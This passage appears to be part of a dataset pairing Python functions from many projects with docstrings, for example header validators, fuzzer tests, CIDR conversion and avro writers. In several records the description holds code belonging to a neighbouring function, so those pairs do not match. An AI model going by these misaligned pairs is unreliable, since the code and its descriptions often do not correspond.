severity = config.get('severity', 'high')\n error_type = report.ErrorType.VALUE_ANY\n return report.ReportItem(severity, error_type, header, value=header_value, expected=accepted,\n anomalies=anomalies, delimiter=delimiter)\n", "nl": "See base class.delimiter = base.get_delimiter(config, _DELIMITER_TYPE)expected = base.get_expected_values(config, 'value', delimiter)header_value = self.headers[header]strip_chars = base.get_delimiter(config, 'strip') if header.lower() in _STRIP_HEADERS else Noneheader_items = utils.parse_policy(header_value, item_delimiter=delimiter, strip=strip_chars)if config.get('preserve-order'):header_items = [item.lower() for item in header_items]expected_lower = [item.lower() for item in expected]else:header_items = {item.lower() for item in header_items}expected_lower = {item.lower() for item in expected}if header_items != expected_lower:severity = config.get('severity', 'high')error_type = report.ErrorType.VALUEreturn report.ReportItem(severity, error_type, header, value=header_value, expected=expected,delimiter=delimiter)def validate_value_any_of(self, config, header, directive=None):See base class."} {"code": "def test_set_stats(self):\n actual_stats = self._set_stats()\n\n expected_stats = {\n 'actual_duration': 5,\n 'average_exec_per_sec': 124207,\n 'bad_instrumentation': 0,\n 'corpus_crash_count': 0,\n 'corpus_size': 20,\n 'crash_count': 0,\n 'dict_used': 1,\n 'log_lines_unwanted': 0,\n 'manual_dict_size': 3,\n 'new_units_added': 1,\n 'new_units_generated': 2,\n 'stability': 100.0,\n 'startup_crash_count': 0,", "nl": "Tests that all stats are set properly by set_stats() when stats_getteris given a valid fuzzer_stats file."} {"code": "def adsSetLocalAddress(ams_netid: SAmsNetId) -> None:\n set_local_address = _adsDLL.AdsSetLocalAddress\n set_local_address(ams_netid)\n\n", "nl": "Change the local NetId.:param pyads.structs.SAmsNetId ams_netid: new AmsNetID:rtype: None"} {"code": "def test_bad_insert(self):\n self.sqlite3worker.execute(\n \"INSERT into tester values (?, ?)\", (\"2010-01-01 13:00:00\", \"bow\"))\n self.assertEqual(\n self.sqlite3worker.execute(\"SELECT * from tester\"),\n [(\"2010-01-01 13:00:00\", \"bow\")])\n self.sqlite3worker.execute(\n \"INSERT into tester values (?, ?)\", (\"2011-02-02 14:14:14\", \"dog\"))\n if self.sqlite3worker.queue_size != 0:\n time.sleep(1)\n self.assertEqual(\n self.sqlite3worker.execute(\"SELECT * from tester\"),\n [(\"2010-01-01 13:00:00\", \"bow\"), (\"2011-02-02 14:14:14\", \"dog\")])\n\n\nif __name__ == \"__main__\":\n unittest.main()", "nl": "Test a bad insert query.query = \"insert THIS IS BAD SQL\"self.sqlite3worker.execute(query)# Give it one second to clear the queue.if self.sqlite3worker.queue_size != 0:time.sleep(1)self.assertEqual(self.sqlite3worker.queue_size, 0)self.assertEqual(self.sqlite3worker.execute(\"SELECT * from tester\"), [])def test_valid_insert(self):Test a valid insert and select statement."} {"code": "def containsErrorFlag(table, uid):\n sel = table.select().where(table.c.uid == uid)\n issues = monitorsdb.engineFactory().execute(sel).fetchall()\n return len(issues) > 0\n\n\n\n@monitorsdb.retryOnTransientErrors", "nl": "Checks whether issue(s) with specified uid is(are) present inspecified table.:param table: A database table:type table: sqlalchemy.schema.Table:param uid: a unique issue id:type uid: string:returns: True is there exist any row(s) in the table having specified uid,False otherwise:rtype: Boolean"} {"code": "def check_application_requirements(self):\n requirements = self.config.getlist('app', 'requirements', '')\n target_available_packages = self.target.get_available_packages()\n if target_available_packages is True:\n return\n\n onlyname = lambda x: x.split('==')[0]\n requirements = [x for x in requirements if onlyname(x) not in\n target_available_packages]\n\n if requirements and hasattr(sys, 'real_prefix'):\n e = self.error\n e('virtualenv is needed to install pure-Python modules, but')\n e('virtualenv does not support nesting, and you are running')\n e('buildozer in one. Please run buildozer outside of a')\n e('virtualenv instead.')\n exit(1)\n\n if (\n exists(self.applibs_dir) and\n self.state.get('cache.applibs', '') == requirements\n ):\n self.debug('Application requirements already installed, pass')\n return\n\n self.rmdir(self.applibs_dir)\n self.mkdir(self.applibs_dir)\n\n for requirement in requirements:\n self._install_application_requirement(requirement)\n\n self.state['cache.applibs'] = requirements\n", "nl": "Ensure the application requirements are all available and ready to bepackaged as well."} {"code": "def compute_security_groups(self):\n return AWSApi.instance().ec2.get_subnet_vpc(self.head_node.networking.subnet_id)\n\n @property", "nl": "Return the list of all compute security groups in the cluster.return list({security_groupfor queue in self.scheduling.queuesif queue.networking.security_groupsfor security_group in queue.networking.security_groups})@propertydef vpc_id(self):Return the VPC of the cluster."} {"code": "def fit_scaler(self, train_dir):\n if not self.word2vec_model:\n raise ValueError('word2vec model is not trained. ' + \\\n 'Run train_word2vec() first.')\n\n if self.scaler:\n print('WARNING! Overwriting already fitted scaler.',\n file=sys.stderr)\n\n self.scaler = fit_scaler(train_dir, word2vec_model=self.word2vec_model)\n\n return self.scaler\n", "nl": "Fit a scaler on given data. Word vectors must be trained already.:param train_dir: directory with '.txt' files:return: fitted scaler object"} {"code": "def parse_args():\n\n pairs_help = \"comma delimited list of asset pairs\"\n pair_help = \"asset pair\"\n\n epilog_str = textwrap.dedent(\"\"\"\\", "nl": "Argument parsingThe client works by giving general options, a subcommandand then options specific to the subcommand.For example:clikraken ticker # just a subcommandclikraken depth --pair XETHZEUR # subcommand optionclikraken ohlc -i 15 -s 1508513700clikraken --raw olist # global optionclikraken place buy 0.1337 10.42 # subcommand argument"} {"code": "def post_run(self):\n\t\tfor node in self.generator.outdir.ant_glob('**/*.class', quiet=True):\n\t\t\tself.generator.bld.node_sigs[node] = self.uid()\n\t\tself.generator.bld.task_sigs[self.uid()] = self.cache_sig\n\n@feature('javadoc')\n@after_method('process_rule')", "nl": "List class files created"} {"code": "def cidr_to_network(network):\n cidr_mapping = {\n \"0\": \"0.0.0.0\",\n \"1\": \"128.0.0.0\",\n \"2\": \"192.0.0.0\",\n \"3\": \"224.0.0.0\",\n \"4\": \"240.0.0.0\",\n \"5\": \"248.0.0.0\",\n \"6\": \"252.0.0.0\",\n \"7\": \"254.0.0.0\",\n \"8\": \"255.0.0.0\",\n \"9\": \"255.128.0.0\",\n \"10\": \"255.192.0.0\",\n \"11\": \"255.224.0.0\",\n \"12\": \"255.240.0.0\",\n \"13\": \"255.248.0.0\",\n \"14\": \"255.252.0.0\",\n \"15\": \"255.254.0.0\",\n \"16\": \"255.255.0.0\",\n \"17\": \"255.255.128.0\",\n \"18\": \"255.255.192.0\",\n \"19\": \"255.255.224.0\",\n \"20\": \"255.255.240.0\",\n \"21\": \"255.255.248.0\",\n \"22\": \"255.255.252.0\",\n \"23\": \"255.255.254.0\",\n \"24\": \"255.255.255.0\",\n \"25\": \"255.255.255.128\",\n \"26\": \"255.255.255.192\",\n \"27\": \"255.255.255.224\",\n \"28\": \"255.255.255.240\",\n \"29\": \"255.255.255.248\",\n \"30\": \"255.255.255.252\",\n \"31\": \"255.255.255.254\",\n \"32\": \"255.255.255.255\"\n }\n\n if \"/\" in network:\n network_address = network.split(\"/\")\n mask = network_address.pop()\n\n if mask and int(mask) in range(0, 33):\n network_address.append(cidr_mapping[mask])\n else:\n network_address = []\n else:\n network_address = []\n\n return network_address\n\n @staticmethod", "nl": "Method is used to convert a network address in CIDR notation to a list with address and mask.:param network: Type str.The network address in CIDR notation.:return: A list with address and mask in that order."} {"code": "def test_isort_supports_shared_profiles_issue_970():\n assert isort.code(\"import a\", profile=\"example\") == \"import a\\n\"\n assert isort.code(\"import a\", profile=\"black\") == \"import a\\n\"\n with pytest.raises(exceptions.ProfileDoesNotExist):\n assert isort.code(\"import a\", profile=\"madeupfake\") == \"import a\\n\"\n\n", "nl": "Test to ensure isort provides a way to use shared profiles.See: https://github.com/pycqa/isort/issues/970."} {"code": "def write_tokens(tokens, mode):\n if mode == \"test\":\n path = os.path.join(FLAGS.output_dir, \"token_\" + mode + \".txt\")\n wf = codecs.open(path, 'a', encoding='utf-8')\n for token in tokens:\n if token != \"**NULL**\":\n wf.write(token + '\\n')\n wf.close()\n\n", "nl": "write NER parse results to filewhen mode == test:param tokens::param mode::return:"} {"code": "def test_nan_inf_float(tp):\n for x in [np.inf, -np.inf, np.nan]:\n assert_equal(str(tp(x)), _REF[x],\n err_msg='Failed str formatting for type %s' % tp)\n\n\n@pytest.mark.parametrize('tp', [np.complex64, np.cdouble, np.clongdouble])", "nl": " Check formatting of nan & inf.This is only for the str function, and only for simple types.The precision of np.float32 and np.longdouble aren't the same as thepython float precision."} {"code": "def conjugate(self):\n raise NotImplementedError\n", "nl": "(x+y*i).conjugate() returns (x-y*i).raise NotImplementedError@abstractmethoddef __eq__(self, other):self == other"} {"code": "def run(self):\n self.interface.run()\n\n\nif __name__ == '__main__':\n basic_params = {'timeout': 15,\n 'mode': 'live',\n 'logger': Logger({})}\n\n db_params = {'interaction_db_host': 'localhost',\n 'interaction_db_port': 27017,\n 'interaction_db_name': 'macaw_test'}\n\n seeker_interface_params = {'interface': 'telegram',\n 'bot_token': 'YOUR_TELECGRAM_BOT_TOKEN_FOR_SEEKER',\n 'asr_model': 'google',\n 'asg_model': 'google',\n 'google-speech-to-text-credential-file': 'YOUR_GOOGLE_CREDENTIAL_FILE',\n 'user_id': 'TELEGRAM_USER_ID_FOR_SEEKER'}\n\n wizard_interface_params = {'interface': 'telegram',\n 'bot_token': 'YOUR_TELECGRAM_BOT_TOKEN_FOR_WIZARD',\n 'asr_model': 'google',\n 'asg_model': 'google',\n 'google-speech-to-text-credential-file': 'YOUR_GOOGLE_CREDENTIAL_FILE',\n 'user_id': 'TELEGRAM_USER_ID_FOR_WIZARD'}\n\n retrieval_params = {'query_generation': 'simple',\n 'use_coref': False,\n 'search_engine': 'indri',\n 'bing_key': 'YOUR_BING_SUBSCRIPTION_KEY',\n 'search_engine_path': 'PATH_TO_INDRI',\n 'col_index': 'PATH_TO_INDRI_INDEX',\n 'col_text_format': 'trectext',\n 'results_requested': 3}\n\n seeker_params = {**basic_params, **db_params, **seeker_interface_params, **retrieval_params}\n wizard_params = {**basic_params, **db_params, **wizard_interface_params, **retrieval_params}\n basic_params['logger'].info(seeker_params)\n basic_params['logger'].info(wizard_params)\n\n seeker = Seeker(seeker_params)\n wizard = Wizard(wizard_params)\n seeker.set_wizard(wizard)\n wizard.set_seeker(seeker)\n\n seeker_process = multiprocessing.Process(target=seeker.run)\n wizard_process = multiprocessing.Process(target=wizard.run)\n\n seeker_process.start()\n wizard_process.start()\n\n basic_params['logger'].info('Seeker Process ID: {}'.format(seeker_process.pid))\n basic_params['logger'].info('Wizard Process ID: {}'.format(wizard_process.pid))\n", "nl": "This function is called to run the ConvQA system. In live mode, it never stops until the program is killed."} {"code": "def try_write_avro_blocks(f, schema, records, suc_msg=None, err_msg=None):\n try:\n fastavro.writer(f, schema, records)\n if suc_msg:\n logger.info(suc_msg)\n except Exception as exp:\n if err_msg:\n logger.error(exp)\n logger.error(err_msg)\n raise\n\n", "nl": "write a block into avro file. This is used continuously when the whole file does not fit in memory.:param f: file handle.:param schema: avro schema used by the writer.:param records: a set of records to be written to the avro file.:param suc_msg: message to print when write succeeds.:param err_msg: message to print when write fails.:return: none"} {"code": "def _fields_tuple_from_dict(fields, field_partials=field.partials, field_default=field.DEFAULT_VALUE):", "nl": "Convert the given expression dict to an \"ordered\" tuple.The \"order\" of values within the tuple matches the field ordering of the expression e.g. \"second\" is firstand \"year\" is last.:param fields: Dict containing field names -> values.:param field_partials: (Optional) Mapping of field names -> partials that create :class:`~crython.field.CronField`.:param field_default: (Optional) Default value of a field if one is not set.:return: An \"ordered\" tuple of :class:`~crython.field.CronField` instances."} {"code": "def svm_empty_like(ctx, flags, ary, alignment=None):\n if ary.flags.c_contiguous:\n order = \"C\"\n elif ary.flags.f_contiguous:\n order = \"F\"\n else:\n raise ValueError(\"array is neither C- nor Fortran-contiguous\")\n\n return svm_empty(ctx, flags, ary.shape, ary.dtype, order,\n alignment=alignment)\n\n", "nl": "Allocate an empty :class:`numpy.ndarray` like the existing:class:`numpy.ndarray` *ary*. The array will be allocated in sharedvirtual memory belonging to *ctx*.:arg ctx: a :class:`Context`:arg flags: a combination of flags from :class:`svm_mem_flags`.:arg alignment: the number of bytes to which the beginning of the memoryis aligned. Defaults to the :attr:`numpy.dtype.itemsize` of *dtype*.:returns: a :class:`numpy.ndarray` whose :attr:`numpy.ndarray.base` attributeis a :class:`SVMAllocation`.To pass the resulting array to an OpenCL kernel or :func:`enqueue_copy`, youwill likely want to wrap the returned array in an :class:`SVM` tag... versionadded:: 2016.2"} {"code": "def dice_coeff(pred, target):\n\n target = target.data.cpu()\n pred = torch.sigmoid(pred)\n pred = pred.data.cpu()\n pred[pred > 0.5] = 1\n pred[pred <= 0.5] = 0\n\n return dice_coefficient_numpy(pred, target)\n", "nl": "This definition generalize to real valued pred and target vector.This should be differentiable.pred: tensor with first dimension as batchtarget: tensor with first dimension as batch"} {"code": "def assert_is_positive(*args: Any) -> Union[bool, NoReturn]:\n for arr in args:\n assert isinstance(arr, np.ndarray), \"All inputs must be of type numpy.ndarray\"\n assert all(arr > 0.0)\n\n return True", "nl": "Assert that all numpy arrays are positive.Args:args: the numpy arrays to check.Returns:True if all elements in all arrays are positive values, or else raises assertion error."} {"code": "def signer_address(private_key):\n\n args = [to_bytes(text=announcement_name), to_bytes(text=announcement_uri), announcement_type, announcement_hash]\n\n tx = {\n \"from\": team_multisig\n }\n\n contract, hash_ = chain.provider.deploy_contract('BogusAnnouncement', deploy_args=args, deploy_transaction=tx)\n\n\n check_gas(chain, hash_)\n\n assert removeNonPrintable(contract.call().announcementName()) == announcement_name\n assert removeNonPrintable(contract.call().announcementURI()) == announcement_uri\n assert contract.call().announcementType() == announcement_type\n\n return contract\n\n\n@pytest.fixture", "nl": "Server side signer address.return get_ethereum_address_from_private_key(private_key)@pytest.fixturedef testpayload() -> bytes:return decode_hex(\"a3e76c0f\") # function receive() returns(bool)@pytest.fixturedef announcement_name() -> str:return \"Announcement 1\"@pytest.fixturedef announcement_uri() -> str:return \"https://tokenmarket.net/\"@pytest.fixturedef announcement_type() -> int:return 123@pytest.fixturedef announcement_hash() -> int:return 1234@pytest.fixturedef announcement(chain, team_multisig, announcement_name, announcement_uri, announcement_type, announcement_hash) -> Contract:Create a bogus announcement for testing"} {"code": "def file(self):\n return self._get_instantiation()[1]\n\n @property", "nl": "Get the file represented by this source location.return self._get_instantiation()[0]@propertydef line(self):Get the line represented by this source location."} {"code": "def _fix_defaults(output, defaults=None):\n names = output.dtype.names\n (data, mask, fill_value) = (output.data, output.mask, output.fill_value)", "nl": "Update the fill_value and masked data of `output`from the default given in a dictionary defaults."} {"code": "def makeLogRecord(dict):\n rv = _logRecordFactory(None, None, \"\", 0, \"\", (), None, None)\n rv.__dict__.update(dict)\n return rv\n\n\nclass PercentStyle(object):\n", "nl": "Make a LogRecord whose attributes are defined by the specified dictionary,This function is useful for converting a logging event received overa socket connection (which is sent as a dictionary) into a LogRecordinstance."} {"code": "def parent_widget(self):\n parent = self.parent()\n if parent is not None:\n return parent.widget\n", "nl": " Get the parent toolkit widget for this object.Returns-------result : QObject or NoneThe toolkit widget declared on the declaration parent, orNone if there is no such parent."} {"code": "def InspectDatasets(self):\n cls = self.model_registry.GetClass(self._model_name)\n params = cls()\n\n has_decoder = False\n if issubclass(cls, base_model_params.SingleTaskModelParams):\n has_decoder = params.Task(\n ).cls.CreateDecoderMetrics != base_model.BaseTask.CreateDecoderMetrics\n else:\n for _, task_param in params.Model().task_params.IterParams():\n has_decoder |= (\n task_param.cls.CreateDecoderMetrics !=\n base_model.BaseTask.CreateDecoderMetrics)\n if has_decoder:\n self.InspectDatasets()\n else:\n print('')\n", "nl": "Prints out datasets configured for the model.cls = self.model_registry.GetClass(self._model_name)print(','.join([dataset.lower() for dataset in datasets.GetDatasets(cls)]))def InspectDecoder(self):Prints out datasets configured for the decoder."} {"code": "def num_verb_phrases(self, **kwargs):\n return self._extract_syntactic_features('num_verb_phrases')['num_verb_phrases']\n", "nl": "Extract the number of verb phrases.Ref: https://pubmed.ncbi.nlm.nih.gov/28321196/Args:kwargs (list): Optional arguments for threshold valuesReturns:float: The number of verb phrases across all sentence objects"} {"code": "def _validate_append(self, obj):\n", "nl": "Override if any validation in append operation is required.:param obj:"} {"code": "def __del__(self):\n\n If extra arguments are present, they are substituted in the\n message using the standard string formatting operator.\n\n \"\"\"", "nl": "Destructor -- close the connection.self.close()def msg(self, msg, *args):Print a debug message, when the debug level is > 0."} {"code": "def simple_repair_order_preserving_test(self):\n self._simple_repair(order_preserving_partitioner=True)\n", "nl": "Calls simple repair test with OPP and sequential repair@jira_ticket CASSANDRA-5220"} {"code": "def trim(self: TrackType, start: int = None, end: int = None) -> TrackType:\n if start is None:\n start = 0\n elif start < 0:\n raise ValueError(\"`start` must be nonnegative.\")\n if end is None:\n end = self.get_length()\n elif end > len(self.pianoroll):\n raise ValueError(\n \"`end` must be shorter than the piano roll length.\"\n )\n self.pianoroll = self.pianoroll[start:end]\n return self\n", "nl": "Trim the piano roll.Parameters----------start : int, default: 0Start time.end : int, optionalEnd time. Defaults to active length.Returns-------Object itself."} {"code": "def default(self):\n \"\"\"", "nl": "Return default value of hyperparameter corresponding to this search space. This value is tried first during hyperparameter optimization.return self._default@default.setterdef default(self, value):Set default value for hyperparameter corresponding to this search space. The default value is always tried in the first trial of HPO."} {"code": "def test_cartesian_many_phases_one_way_depr(self, model, image_path):\n arrivals = model.get_ray_paths(500, 140)\n with WarningsCapture() as w:\n arrivals.plot(plot_type=\"cartesian\", plot_all=False,\n show=False, legend=False)\n plt.savefig(image_path)\n assert len(w) >= 1\n for w_ in w:\n try:\n assert str(w_.message) == 'The plot() function is ' \\\n 'deprecated. Please use arrivals.plot_rays()'\n assert w_.category == ObsPyDeprecationWarning\n except AssertionError:\n continue\n break\n else:\n raise\n", "nl": "Same as above but checking deprecation warning."} {"code": "def ssh_KEXINIT(self, packet):\n if SSHTransportBase.ssh_KEXINIT(self, packet) is None:\n return\n if _kex.isEllipticCurve(self.kexAlg):\n self.curve = keys._curveTable[b'ecdsa' + self.kexAlg[4:]]\n\n self.ecPriv = ec.generate_private_key(self.curve,", "nl": "Called when we receive a MSG_KEXINIT message. For a descriptionof the packet, see SSHTransportBase.ssh_KEXINIT(). Additionally,this method sends the first key exchange packet.If the agreed-upon exchange is ECDH, generate a key pair for thecorresponding curve and send the public key.If the agreed-upon exchange has a fixed prime/generator group,generate a public key and send it in a MSG_KEXDH_INIT message.Otherwise, ask for a 2048 bit group with a MSG_KEX_DH_GEX_REQUESTmessage."} {"code": "def _get_status_email_contents(self, status, summary=None, hostname=None):\n job_stats = Job(id=self.job.id).get_execution_details()\n\n subject = 'Autotest\n\n if hostname is not None:\n subject += ' | %s on %s' % (self.job.name, hostname)\n else:\n subject += ' | %s' % self.job.name\n\n status = status.split()[-1]\n if status == \"Completed\":\n subject += ' | success: %.2f%%' % job_stats['success_rate']\n else:\n subject += ' | %s' % status\n\n body = \"\"\n if int(job_stats['total_executed']) > 0:\n body += (\"run: %s | pass: %s | skip: %s | fail: %s\" %\n (job_stats['total_executed'], job_stats['total_passed'],\n job_stats['total_skipped'], job_stats['total_failed']))\n e_time = job_stats['execution_time']\n if e_time not in ['(could not determine)', '(none)']:\n body += \" | runtime: %s\" % e_time\n if status == \"Completed\":\n body += \" | success: %.2f%%\" % job_stats['success_rate']\n else:\n body += \"\\n[Warning] Job status: %s\" % status\n\n body += \"\\n%s\\n\\n\" % self._view_job_url()\n\n body += job_stats['fail_detail']\n body += job_stats['warn_detail']\n body += job_stats['skip_detail']\n body += job_stats['pass_detail']\n\n keyval_list = job_stats['keyval_dict_list']\n if keyval_list:\n for kv in keyval_list:\n k, v = kv.items()[0]\n body += \"%s:\\n\" % k\n for part in v.split():\n body += \" %s\\n\" % part\n body += \"\\n\"\n\n if hostname is not None:\n body += \"Job was run on host %s\\n\" % hostname\n\n body += (\"For more details, check the full report on the web:\\n%s\\n\" %\n self._view_job_url())\n\n return subject, body\n", "nl": "Gather info for the status notification e-mails.If needed, we could start using the Django templating engine to createthe subject and the e-mail body, but that doesn't seem necessary rightnow.:param status: Job status text. Mandatory.:param summary: Job summary text. Optional.:param hostname: A hostname for the job. Optional.:return: Tuple (subject, body) for the notification e-mail."} {"code": "def __repr__(self):\n if not isinstance(other, V1alpha1ArtifactoryArtifact):\n return False\n\n return self.to_dict() == other.to_dict()\n", "nl": "For `print` and `pprint`return self.to_str()def __eq__(self, other):Returns true if both objects are equal"} {"code": "def setpos(self, pos):\n self.setpos(pos)\n self.move()\n", "nl": "force creature to a position.self.pos = posself.moving = False #Movement animation is not on.self.frame = getrect(self.pos) #Set the frame to the position. This is redundant after animation is complete but useful for teleport.def setposandmove(self, pos):Set the position then start movement again."} {"code": "def __getitem__(self, pos: Tuple[int, int]) -> str:\n id = self._get(pos)\n return id != 0\n", "nl": "Get the tile at the given position.v = self.get(pos)if not v:raise KeyError(f\"No tile at position {pos}\")return vdef __contains__(self, pos: Tuple[int, int]) -> bool:Return True if a tile is set at the given position."} {"code": "def test_overview_missing_entity_404s(self):\n (resp, data) = self.successResultOf(\n json_request(self, self.root, b\"GET\",\n '{0}/views/overview?entityId={1}'.format(\n self.uri, 'enDoesNotExist')))\n self.assertEquals(resp.code, 404)\n self.assertEquals(data['type'], 'notFoundError')\n", "nl": "If the user passes in a non-existing entity ID, a 404 is returned."} {"code": "def test_send_mail(self):\n\n (Test both sender and recipient addresses)\n \"\"\"", "nl": "Test basic API for simple sendmail.send_mail('Subject here', 'Here is the message.','from@sender.example.com', ['to@example.com'], fail_silently=False)self.assert_esp_called('/message')headers = self.get_api_call_headers()self.assertEqual(headers[\"X-Server-API-Key\"], \"test_server_token\")data = self.get_api_call_json()self.assertEqual(data['subject'], \"Subject here\")self.assertEqual(data['plain_body'], \"Here is the message.\")self.assertEqual(data['from'], \"from@sender.example.com\")self.assertEqual(data['to'], [\"to@example.com\"])def test_name_addr(self):Make sure RFC2822 name-addr format (with display-name) is allowed"} {"code": "def pw_tensor(name, value):\n\n Note that this is not the same return type as tf.summary.merge_all\n which returns a serialized proto string.\n\n Outside of tpu_summary.context() returns {}\n \"\"\"", "nl": "Adds summary tensor.if py_utils.IsEagerMode():raise RuntimeError(EAGER_MODE_EXCEPTION_STR)ctx = TpuSummaryContext.current()if ctx is None:returnx = PwTpuSummaryTensor()x.name = str(name)x.value = tf.convert_to_tensor(value)x.name_scope = tf.get_default_graph().get_name_scope()ctx.summary_tensors.append(x)def merge_all():Returns all summary tensors as a dict of {name: tensor}."} {"code": "def test_exit_code_equal_to_zero(self):\n compare_text = \"{}\\n\".format(FORMAT_ITEMS_SAMPLE_OUTPUT)\n assert self.result.output == compare_text, self.result.output\n\n @classmethod", "nl": "Assert that the exit code is equal to zero (i.e. success).assert self.result.exit_code == 0def test_correct_output(self):Test that the command has printed the correct output."} {"code": "def __init__(self, self_address: str) -> None:\n", "nl": "Initialize dialogues.:param self_address: the address of the entity for whom dialogues are maintained:return: None"} {"code": "def find_credential(self, url):\n for repository, cred in self.creds_by_repository.items():\n if url.startswith(repository):\n return cred\n\n", "nl": "If the URL indicated appears to be a repository defined in thisconfig, return the credential for that repository."} {"code": "def build(self):\n\n\n ProgressBarApp().run()", "nl": "return Builder.load_string(#:import MDSlider kivymd.slider.MDSliderBoxLayout:orientation:'vertical'padding: '8dp'MDSlider:id:slidermin:0max:100value: 40MDProgressBar:value: slider.valueMDProgressBar:reversed: Truevalue: slider.valueBoxLayout:MDProgressBar:orientation:\"vertical\"reversed: Truevalue: slider.valueMDProgressBar:orientation:\"vertical\"value: slider.value)"} {"code": "def rtnd(number, n):\n return int(number * 10 ** n) / 10 ** n\n\n\n", "nl": "Round number to a max of n digits after the decimal point:param number: Given number:param n: Requested number of digits after the decimal points:return: number with a max of n digits after the decimal point"} {"code": "def test_getlines_from_gzipped_file(self):\n example_file = os.path.join(self.wd,\"example.txt.gz\")\n with gzip.open(example_file,'wt') as fp:\n fp.write(self.example_text)\n lines = getlines(example_file)\n for l1,l2 in zip(self.example_text.split('\\n'),lines):\n self.assertEqual(l1,l2)\n\nclass TestPathInfo(unittest.TestCase):\n \"\"\"Unit tests for the PathInfo utility class", "nl": "getlines: read lines from a gzipped file"} {"code": "def _concat_same_type(cls, to_concat):\n closed = {interval.closed for interval in to_concat}\n if len(closed) != 1:\n raise ValueError(\"Intervals must all be closed on the same side.\")\n closed = closed.pop()\n\n left = np.concatenate([interval.left for interval in to_concat])\n right = np.concatenate([interval.right for interval in to_concat])\n return cls._simple_new(left, right, closed=closed, copy=False)\n", "nl": "Concatenate multiple IntervalArrayParameters----------to_concat : sequence of IntervalArrayReturns-------IntervalArray"} {"code": "def make_saying_pretty(saying_string):\n import importlib\n\n skip_tampers = (\n \"base64encode\", \"doubleurlencode\", \"obfuscatebyordinal\",\n \"tripleurlencode\", \"urlencode\", \"urlencodeall\", \"__pycach\",\n \"__init__.\", \"__init__\", \"lowercase\", \"randomcase\", \"uppercase\",\n \"enclosebrackets\", \"maskenclosebrackets\", \"space2null\",\n \"tabifyspaceuncommon\", \"space2doubledash\", \"randomtabify\",\n \"space2hash\", \"apostrephenullify\", \"apostrephemask\",\n \"space2multicomment\", \"space2plus\", \"tabifyspacecommon\",\n \"booleanmask\", \"space2randomblank\"\n )\n tamper = [f[:-3].strip(\".\") for f in os.listdir(TAMPERS_DIRECTORY)]\n new_tampers = []\n for t in tamper:\n if t not in skip_tampers:\n new_tampers.append(t)\n new_tampers = shuffle_list(list(set(new_tampers)))\n random_tamper_import = TAMPERS_IMPORT_TEMPLATE.format(random.SystemRandom().choice(new_tampers))\n tamper = importlib.import_module(random_tamper_import)\n new_saying_string = tamper.tamper(saying_string)\n new_saying_string = new_saying_string.split(\"();\")\n new_saying = \"({});\".format(INSIDE_SAYING).join(new_saying_string)\n return new_saying\n\n", "nl": "make a random obfuscated saying string"} {"code": "def crypto_store(self) -> CryptoStore: # pragma: nocover\n return self._crypto_store is not None\n\n @property", "nl": "Get the crypto store.if self._crypto_store is None:raise ValueError(\"CryptoStore not available.\")return self._crypto_store@propertydef has_crypto_store(self) -> bool: # pragma: nocoverCheck if the connection has the crypto store."} {"code": "def undo(self):\n nodes = [d['dataG_id'] for n, d in self.dispG.nodes(data=True)]\n\n nodes_marked = [d['dataG_id']\n for n, d in self.dispG.nodes(data=True)\n if d['token'].is_marked]\n edges_marked = [d['dataG_id']\n for u,v,k,d in self.dispG.edges(data=True, keys=True)\n if d['token'].is_marked]\n self.plot(nodes, levels=0)\n\n for n in nodes_marked:\n self.mark_node(self._find_disp_node(n))\n edge_map = {d['dataG_id']: (u,v,k)\n for u,v,k,d in self.dispG.edges(data=True, keys=True)}\n for dataG_id in edges_marked:\n self.mark_edge(*edge_map[dataG_id])\n", "nl": "Undoes the last action marked with the undoable decoratortry:state = self._undo_states.pop()except IndexError:# No undoable states (empty list)returnself._redo_states.append(self.dump_visualization())self.load_visualization(state)def redo(self):try:state = self._redo_states.pop()except IndexError:# No redoable statesreturnself.load_visualization(state)@undoabledef replot(self):Replot existing nodes, hopefully providing a better layout"} {"code": "def cpu_freq(percpu=False):\n ret = _psplatform.cpu_freq()\n if percpu:\n return ret\n else:\n num_cpus = float(len(ret))\n if num_cpus == 0:\n return None\n elif num_cpus == 1:\n return ret[0]\n else:\n currs, mins, maxs = 0.0, 0.0, 0.0\n set_none = False\n for cpu in ret:\n currs += cpu.current\n if LINUX and cpu.min is None:\n set_none = True\n continue\n mins += cpu.min\n maxs += cpu.max\n\n current = currs / num_cpus\n\n if set_none:\n min_ = max_ = None\n else:\n min_ = mins / num_cpus\n max_ = maxs / num_cpus\n\n return _common.scpufreq(current, min_, max_)\n\n __all__.append(\"cpu_freq\")\n\n\nif hasattr(os, \"getloadavg\") or hasattr(_psplatform, \"getloadavg\"):\n if hasattr(os, \"getloadavg\"):\n getloadavg = os.getloadavg\n else:\n getloadavg = _psplatform.getloadavg\n\n __all__.append(\"getloadavg\")\n\n\n\n", "nl": "Return CPU frequency as a nameduple including current,min and max frequency expressed in Mhz.If *percpu* is True and the system supports per-cpu frequencyretrieval (Linux only) a list of frequencies is returned foreach CPU. If not a list with one element is returned."} {"code": "def unquote_header_value(value, is_filename=False):\n if value and value[0] == value[-1] == '\"':\n value = value[1:-1]\n\n if not is_filename or value[:2] != '\\\\\\\\':\n return value.replace('\\\\\\\\', '\\\\').replace('\\\\\"', '\"')\n return value\n\n", "nl": "rUnquotes a header value. (Reversal of :func:`quote_header_value`).This does not use the real unquoting but what browsers are actuallyusing for quoting.:param value: the header value to unquote.:rtype: str"} {"code": "def chained_action(func: ChainedAction) -> ChainedAction:\n func.chained_action = True\n\n return func\n\n", "nl": "Decorator function allowing action function to be chained.This allows a plugin to modify the behaviour of an existing actionfunction. A Chained action function must be defined as``action_function(original_action, context, data_dict)`` where thefirst parameter will be set to the action function in the next pluginor in core ckan. The chained action may call the original_actionfunction, optionally passing different values, handling exceptions,returning different values and/or raising different exceptionsto the caller.Usage::from ckan.plugins.toolkit import chained_action@chained_action@side_effect_freedef package_search(original_action, context, data_dict):return original_action(context, data_dict):param func: chained action function:type func: callable:returns: chained action function:rtype: callable"} {"code": "def collate(self, data, block_size, device, train_mode=True):\n\n if len(data) == 0:\n return None\n else:\n if train_mode is True and \"tgt\" in data[0] and \"oracle_ids\" in data[0]:\n encoded_text = [self.encode_single(d, block_size) for d in data]\n batch = Batch(list(filter(None, encoded_text)), True)\n else:\n encoded_text = [\n self.encode_single(d, block_size, train_mode) for d in data\n ]\n filtered_list = list(filter(None, encoded_text))\n batch = Batch(filtered_list)\n return batch.to(device)\n", "nl": " Collcate function for pytorch data loaders.Args:data (list): A list of samples from SummarizationDataset.block_size (int): maximum input length for the model.train_mode (bool): whether the collate function is used for trainingor not. Defaults to True.Returns:`Batch` object: a data minibatch as the input of a model."} {"code": "def mlsd(self, path=\"\", 